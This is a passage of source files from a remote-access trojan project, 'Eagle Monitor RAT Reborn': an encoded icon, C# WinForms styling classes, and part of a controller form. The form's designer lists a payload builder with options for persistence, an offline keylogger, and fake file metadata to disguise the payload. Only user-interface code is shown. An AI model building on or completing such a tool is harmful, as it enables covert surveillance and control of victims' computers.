AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew9KrXoRiqt5FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8LrnoQBQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD/////9/8AAP///+eA /wAA////goD/AAD///+AAP8AAP///4AB/wAA////gAP/AAD//+OAB/8AAP/+AIAf/wAA//4AAD//AAD/ wAAAP78AAP/AAAAfjwAA+AAAAB8PAACAAAAAHg8AAAAAAAAADwAAYAAAAAAPAAD4AAAAAA8AAP/wAAAA HwAA//gAAAA/AAD/8AAAAD8AAP/AAAAAAAAA/wAAAAAAAAD8AAAAAAAAAPgAAAAABwAA+fAAAA//AAD/ 8AAAH/8AAP/AAAAf/wAA/4AAAA//AAD/gAAAA/8AAP4AAAAH/wAA/AAAAAf/AAD8AAAAD/8AAPwAAAAf /wAA/AAAAD//AAD4AAAAf/8AAPwAAAH//wAA+AA4D///AAD4AP////8AAPgB/////wAA+AP/////AAD4 D/////8AAPgP/////wAA+D//////AAD4f/////8AAPh//////wAA+P//////AAD5//////8AAP////// /wAAKAAAACAAAABAAAAAAQAgAAAAAAAAEAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAUUhAEwAAAAAAAAAAAAAAADIuLiIvLC0JJyUoIiEgJAogHyMGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAFpORAZRSEBpSUI8OEA6Nxg4MzIANDAweiooKjYmJCd3ISAkPCAfIz4AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABcUEUAWk5EXVFIQLtJQj2fQjw5kTw3NTgzLy/RLCorxCYkJ90hICSHIB8jBAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAFxQRQFZTkTYUUhAykpDPflDPTn/OzY09jMvMMIsKSvBJyQnggAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAg2hGAoBmRwl8ZEgAcV5JImxbSYdnWEgpAAAAAFhNQ9JSSUH/SkM9/0M9Of87NjS+NDAwZC8sLQUA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAkG9ACIxtQg2EaEYnf2ZIkHliSddzX0mLa1pJVGZXSPRhU0dBV0xDcFJJQf9KQz3/Qz05/zs2NOU3 MjILAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAJdyOjGRcD+Ci2xDwYVpRfJ/ZkjGeWJJq3JfSfxsW0nzZldI/mBSRuxaTkQgUUhAzkpDPf9D PTn/OzY0/zUwMJYAAAAAAAAAAAAAAAAAAAAAIB8jIyAfI1EAAAAAAAAAAAAAAAAAAAAAAAAAALZ9BAix fAwyq3kUVqV3IG6fdS1/mHI4iJFwP4qLbEOIhWlFsn9mSP95Ykn/cl9J/2xbSf9mV0j/X1JG/1lORONR SEHNSkM9/0M9Of87NjT/NDAw8wAAAAAAAAAAAAAAAAAAAAAgHyNyIB8j2AAAAAAAAAAAAAAAAMSBADS+ gAB6t30CobJ8DJyreRSapXcgoJ91La+YcjjFkXA/4otsQ/2FaUX/f2ZI/3liSf9yX0n/bFtJ/2ZXSP9f Ukb/WU1E/1JJQf9KQz3/Qz05/zs2NP8zLzD9LSoreSYkJzohICROIB8jjD0uKf4xKCa6AAAAAAAAAAAA AAAAyIIAAAAAAAC2fQQbsXwMe6t5FLSldyDXn3Ut45hyONqScD/Oi2xDyYVpReF/Zkj7eWJJ/3JfSf9s W0n/ZldI/19SRv9ZTUT/UklB/0pDPf9DPTn/OzY0/zMvMP8sKSv/JiQn/yEgJP8gHyP/QzEq/yAfI7EA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5 YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x LCz+JiQnwyonKrVKQj3ZYlRH23hiSF+NbUEXq3kWBMCAABcAAAAAAAAAAAAAAAAAAAAAAAAAAKR3Ix2e dS6EmHI4s5FwP8aLbEPRhWlF4X9mSON5YknRcl5Jz3VdSP95XUb/YVJG/1lNRP9SSUH/SkM9/0M9Of87 NjT/My8w/y0qK8IhICSPLyssvkpCPdtjVEfyemNI+pBvPvWoeBvYvH8BdwAAAAAAAAAAAAAAAK97Dwir eRRnpncffJ91LEKXcjk/kXA/motsQ7CFaUXJf2ZI+HliSf97YUj/dF1I/2ZXSP9fUkb/WU1E/1JJQf9K Qz3/Qz05/zs2NP8zLzD/LSorliIhJKQ7NjS8W09EoXhiSH2TcDtZr3sQMsKBAAQAAAAAAAAAAAAAAAAA AAAAsHsOB697DwAAAAAAAAAAAAAAAACQb0ATi2xDdIVpRet/Zkj/emNJ/3VfSf9sW0n/ZldI/19SRv9Z TUT/UklB/0pDPf9DPTn/OzY0/zMvMP8vLC0zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl3I6QJFwP7KLbEP2hWlF/39mSP95Ykn/cl9J/2xbSf9m V0j/YFJG/11PRP9VSkH/SkM9/0M9Of87NjT/My8w/y8sLR8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ11LzSYcjiekXA/yItsQ/OFaUX/f2ZI/3liSf9y X0n/bltJ/21ZR/9rVkX/ZVJD/2VQQf9pUD7/ak48/zs2NP8zLzD/LissWSUjJgEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkdyQrn3UtpphyOKWRcD/Vi2xD3YVpRfh/ Zkj/eWJJ/3JfSf9sW0n/ZldI/19SRv9ZTUT/UklB/0pDPf9VRTv/Y0g4/zMvMP8sKivsJyUoYwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqXkXDqV3IF6edS6nmHI4zJFwP6mL bEPqhWlF139mSPh5Ykn/cl9J/2xbSf9mV0j/X1JG/1lNRNlRSEHkSkM9/1NEOv9gRzj/My8w/ywqK9co JigNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpeRcYpXcgxZ91LYmX cjnGknA/wotsQ7GFaUX1f2ZI23liSfZyX0n/bFtJ+2ZXSKBhU0cxV0xDNlFIQfNNRD3/Xkk7/zs2NP80 MDDPLissGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPAqt5FH+l dyFkn3Ut45hyOJGRcD/ZjG1C2IVpRaB/ZkjveWJJ/3NfSbBtXEkmZFZIFV9SRoFYTUT3UklB/0pDPf9D PTn5PDc1iDYyMggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv ew8EqnkWTKZ3H9OedS58mHI49pJwPp+LbEOphWlF/39mSOJ5Y0lgcl5JamxbSbRmV0jmYFJGy1hNRMFS SUHHS0M9ikU/Oh8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAK97DxasehOwpHchbZ91LfeYcjd9kXA/zotsQ/+GaUWjgWdHDwAAAAAAAAAAa1pJEmZXSDZf UkZQWU5EO1RLQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAsHsOLap5FUuldx/wn3UtcZdyOeOScD/3jG1CYohrRAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8Qq3kU3aZ3H2ifdS3pmHI46JNxPTYAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7Dm+sehNWpXcg3p91LNyaczUiAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsnwMEKp5FaOmdx/doXYpHAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ///////cH///gB///wAf//8Af//AgP//AAH//gAB58AAAecAAAAHQAAAB/gAAAf/AAAP/AAAAPgAAADg AAAB5wAA//4AAP/8AAB/+AAAf/AAAH/wAAD/4AAB/+AAB//gDB//4B///+B////g////4f///+P////n /////////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAQAACMuAAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRSEAFAAAAADEtLgsmJCcLIB8jAgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaTkQZTkU/f0A7ODgwLS2RJCImhSAfIxAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAgGdHA3FeSQlrWkksWE1Ea05FP/A/OjftMS0ueyckJyAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACXcjoMjm5BVoJnR5t2YEnDaFhIzl1RRW9ORj/zPzo3+DUxMSgAAAAAIB8jCSAfIxQA AAAAwIAAK7R8B16oeBqAm3Mzn45uQbyCZ0bsdmBJ/2lZSP9cUEX4TkY/8z85N/8yLi+aIyElIi4nJn8o IyVkAAAAAMiCAACyfAsmqHgaY5t0M3yObkGNgmdGvHVgSfFpWUj/XFBF/05GP/8/OTf/MCwt/yMiJf8p JCX/IB8jQQAAAAAAAAAAAAAAAAAAAACXcjkSjW5BZoJnRq12YEnQaVlI9mdURP9cSz//U0I4/zwyL/8l IybdQDk1vXxkRx29fwQHAAAAAK97DwKoeBtAm3Mzbo5uQbiCZ0bheGFJ53JbSP9cUEX/TkY//z85N/8x LS7WLCkrq11QQ7uKaz6fr3sSVQAAAACwew4Cr3sPAJdyOhCNbkGMgmdG+nZhSf9pWUj/XVBF/09GP/8/ OTf/My8vlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR3JAuaczSHjm5B24JnRv12YEn/a1lI/2JSRf9b Sz//V0Q5/zEtLtEnJSgZAAAAAAAAAAAAAAAAAAAAAAAAAACmdx9Sm3M0sI5uQcGCZ0bodmBJ/WlZSeZc UEWQTkY/9VNCOP8xLi6wKCYoAwAAAAAAAAAAAAAAAAAAAACvew8Bp3gbgJtzM7qObkG+gmdG3HZhSZ5p WUh1W09FwU5GP9RBOzhoNjIyAgAAAAAAAAAAAAAAAAAAAAAAAAAAsHsOEah4G5abdDKyj25ByYVpRS0A AAAAZ1dIEl1QRSNUS0IBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7DiCoeBqenHQxtJNxPQ4A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew4KqXkYo6F2KQcA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPCa16ERAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6MAAP8DAAD4 BwAA4AkAAAABAAAAAQAA4AAAAIAAAACADwAAwAcAAMAHAACADwAAgj8AAIf/AACP/wAAn/8AAA== ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/CustomContextMenuStrip.cs ================================================ using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Controls { internal class CustomContextMenuStrip : ContextMenuStrip { public CustomContextMenuStrip() : base() { this.Renderer = new ToolStripProfessionalRenderer(new LightMenuColorTable()); // this.BackColor = Color.White; // this.ForeColor = Color.FromArgb(80, 80, 80); SetStyle(ControlStyles.DoubleBuffer, true); UpdateStyles(); } private const int CS_DROPSHADOW = 0x00020000; protected override CreateParams CreateParams { get { CreateParams cp = base.CreateParams; //cp.ClassStyle |= CS_DROPSHADOW; ADD cp.ClassStyle &= ~ CS_DROPSHADOW; //REMOVE return cp; } } internal class LightMenuColorTable : ProfessionalColorTable { public LightMenuColorTable() { // see notes base.UseSystemColors = false; } public override Color MenuBorder { get { return Color.FromArgb(240, 240, 240); } } public override Color MenuItemBorder { get { return Color.FromArgb(205, 151, 249); } //get { return Color.White; } } public override Color MenuItemSelected { //94; 148; 255 get { return Color.FromArgb(205, 151, 249); } } public override Color MenuItemSelectedGradientBegin { get { return Color.FromArgb(240, 240, 240); } } public override Color MenuItemSelectedGradientEnd { get { return Color.FromArgb(240, 240, 240); } } public override Color MenuStripGradientBegin { get { return Color.FromArgb(240, 240, 240); } } public override Color MenuStripGradientEnd { get { return Color.FromArgb(240, 240, 240); } } public override Color ImageMarginGradientBegin { get { return Color.FromArgb(205, 151, 249); } } public override Color ImageMarginGradientMiddle { get { return Color.FromArgb(205, 151, 249); } } public override Color ImageMarginGradientEnd { get { return Color.FromArgb(205, 151, 249); } } public override Color ToolStripDropDownBackground { get { return Color.FromArgb(205, 151, 249); } } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/FormPattern.cs ================================================ using System; using System.Drawing; using System.Runtime.InteropServices; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Controls { public class FormPattern : Form { //https://stackoverflow.com/questions/2575216/how-to-move-and-resize-a-form-without-a-border public FormPattern() { this.FormBorderStyle = FormBorderStyle.None; // no borders this.DoubleBuffered = true; this.SetStyle(ControlStyles.ResizeRedraw | ControlStyles.OptimizedDoubleBuffer, true); // this is to avoid visual artifacts } private bool SizeableP = true; private int HighB = 32; private int OtherB = 3; private Color C = Color.FromArgb(94, 148, 255);//ColorTranslator.FromHtml("#00adef"); private Color C2 = Color.FromArgb(94, 148, 255);//ColorTranslator.FromHtml("#00adef"); public Color BorderColor { get { return C; } set { C = value; this.Refresh(); } } public Color TopBorderColor { get { return C2; } set { C2 = value; this.Refresh(); } } private bool TopOnly = false; public bool OnlyTopBorderSize { get { return TopOnly; } set { TopOnly = value; this.Refresh(); } } public bool Sizeable { get { return SizeableP; } set { SizeableP = value; this.Refresh(); } } public int HighBorder { get { return HighB; } set { HighB = value; this.Refresh(); } } public int BordersSize { get { return OtherB; } set { OtherB = value; this.Refresh(); } } protected override void OnPaint(PaintEventArgs e) // you can safely omit this method if you want { //Color C = ColorTranslator.FromHtml("#00adef"); SolidBrush B = new SolidBrush(BorderColor); SolidBrush C = new SolidBrush(TopBorderColor); //e.Graphics.FillRectangle(Brushes.Green, Top); e.Graphics.FillRectangle(C, Top); e.Graphics.FillRectangle(B, Left); e.Graphics.FillRectangle(B, Right); e.Graphics.FillRectangle(B, Bottom); } private const int HTLEFT = 10, HTRIGHT = 11, HTTOP = 12, HTTOPLEFT = 13, HTTOPRIGHT = 14, HTBOTTOM = 15, HTBOTTOMLEFT = 16, HTBOTTOMRIGHT = 17; const int _ = 3; // you can rename this variable if you like new Rectangle Top { get { return new Rectangle(0, 0, this.ClientSize.Width, HighB); } } new Rectangle Left { get { return new Rectangle(0, 0, OtherB, this.ClientSize.Height); } } new Rectangle Bottom { get { return new Rectangle(0, this.ClientSize.Height - OtherB, this.ClientSize.Width, OtherB); } } new Rectangle Right { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, this.ClientSize.Height); } } Rectangle TopLeft { get { return new Rectangle(0, 0, OtherB, OtherB); } } Rectangle TopRight { get { return new Rectangle(this.ClientSize.Width - OtherB, 0, OtherB, OtherB); } } Rectangle BottomLeft { get { return new Rectangle(0, this.ClientSize.Height - OtherB, OtherB, OtherB); } } Rectangle BottomRight { get { return new Rectangle(this.ClientSize.Width - OtherB, this.ClientSize.Height - OtherB, OtherB, OtherB); } } new Padding Padding { get { return new Padding(OtherB, HighB, OtherB, OtherB); } } [DllImport("user32.dll")] public extern static IntPtr SendMessage(IntPtr a, int msg, int wParam, int lParam); private void InitializeComponent() { this.SuspendLayout(); // // FormPattern // this.ClientSize = new System.Drawing.Size(262, 239); this.Name = "FormPattern"; this.Load += new System.EventHandler(this.FormPattern_Load); this.ResumeLayout(false); } private void FormPattern_Load(object sender, EventArgs e) { } [DllImport("user32.dll")] public extern static bool ReleaseCapture(); public const int WM_NCLBUTTONDOWN = 0xA1; public const int HT_CAPTION = 0x2; protected override void WndProc(ref Message message) { try { base.WndProc(ref message); if (message.Msg == 0x84) // WM_NCHITTEST { if (SizeableP == true) { var cursor = this.PointToClient(Cursor.Position); if (TopLeft.Contains(cursor)) message.Result = (IntPtr)HTTOPLEFT; else if (TopRight.Contains(cursor)) message.Result = (IntPtr)HTTOPRIGHT; else if (BottomLeft.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMLEFT; else if (BottomRight.Contains(cursor)) message.Result = (IntPtr)HTBOTTOMRIGHT; //else if (Top.Contains(cursor)) message.Result = (IntPtr)HTTOP; else if (Left.Contains(cursor)) message.Result = (IntPtr)HTLEFT; else if (Right.Contains(cursor)) message.Result = (IntPtr)HTRIGHT; else if (Bottom.Contains(cursor)) message.Result = (IntPtr)HTBOTTOM; } } } catch {} } protected override void OnMouseDown(MouseEventArgs e) { var cursor = this.PointToClient(Cursor.Position); if (0 <= cursor.Y && cursor.Y <= 30) { MoveForm_(); } base.OnMouseDown(e); } protected void MoveForm_() { ReleaseCapture(); SendMessage(this.FindForm().Handle, 161, 2, 0); } protected IntPtr MoveForm() { ReleaseCapture(); return SendMessage(this.FindForm().Handle, 161, 2, 0); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/FormPattern.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs ================================================ namespace Eagle_Monitor_RAT_Reborn { partial class MainForm { /// /// Variable nécessaire au concepteur. /// private System.ComponentModel.IContainer components = null; /// /// Nettoyage des ressources utilisées. /// /// true si les ressources managées doivent être supprimées ; sinon, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Code généré par le Concepteur Windows Form /// /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas /// le contenu de cette méthode avec l'éditeur de code. /// private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle29 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle27 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle28 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle30 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm)); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle(); this.mainGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.guna2VScrollBar1 = new Guna.UI2.WinForms.Guna2VScrollBar(); this.clientDataGridView = new System.Windows.Forms.DataGridView(); this.Column1 = new System.Windows.Forms.DataGridViewImageColumn(); this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column9 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column10 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.mainContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.loginToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clientToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.clientContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.closeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.closeUninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.test123ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.test456ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tabPage2 = new System.Windows.Forms.TabPage(); this.guna2Panel1 = new Guna.UI2.WinForms.Guna2Panel(); this.builderGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage6 = new System.Windows.Forms.TabPage(); this.addHostGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.hostsDataGridView = new System.Windows.Forms.DataGridView(); this.Column22 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.Column23 = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.hostContextMenuStrip = new Eagle_Monitor_RAT_Reborn.Controls.CustomContextMenuStrip(); this.removeHostStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.label5 = new System.Windows.Forms.Label(); this.builderKeyGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label2 = new System.Windows.Forms.Label(); this.portGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label3 = new System.Windows.Forms.Label(); this.dnsGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.tabPage7 = new System.Windows.Forms.TabPage(); this.label21 = new System.Windows.Forms.Label(); this.archiGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.label20 = new System.Windows.Forms.Label(); this.persistenceMethodGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.label19 = new System.Windows.Forms.Label(); this.pathPersistenceGuna2ComboBox = new Guna.UI2.WinForms.Guna2ComboBox(); this.vbStubGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.offKeyloguna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.persistenceGuna2CheckBox = new Guna.UI2.WinForms.Guna2CheckBox(); this.tabPage8 = new System.Windows.Forms.TabPage(); this.randomizeGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.iconGuna2Button = new Guna.UI2.WinForms.Guna2Button(); this.pictureBox1 = new System.Windows.Forms.PictureBox(); this.label15 = new System.Windows.Forms.Label(); this.productGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.productVersionGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label13 = new System.Windows.Forms.Label(); this.filenameGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label12 = new System.Windows.Forms.Label(); this.fileVersionGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label11 = new System.Windows.Forms.Label(); this.copyrightGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label10 = new System.Windows.Forms.Label(); this.companyGuna2TextBox = new Guna.UI2.WinForms.Guna2TextBox(); this.label9 = new System.Windows.Forms.Label(); this.descriptionGuna2TextBox = new 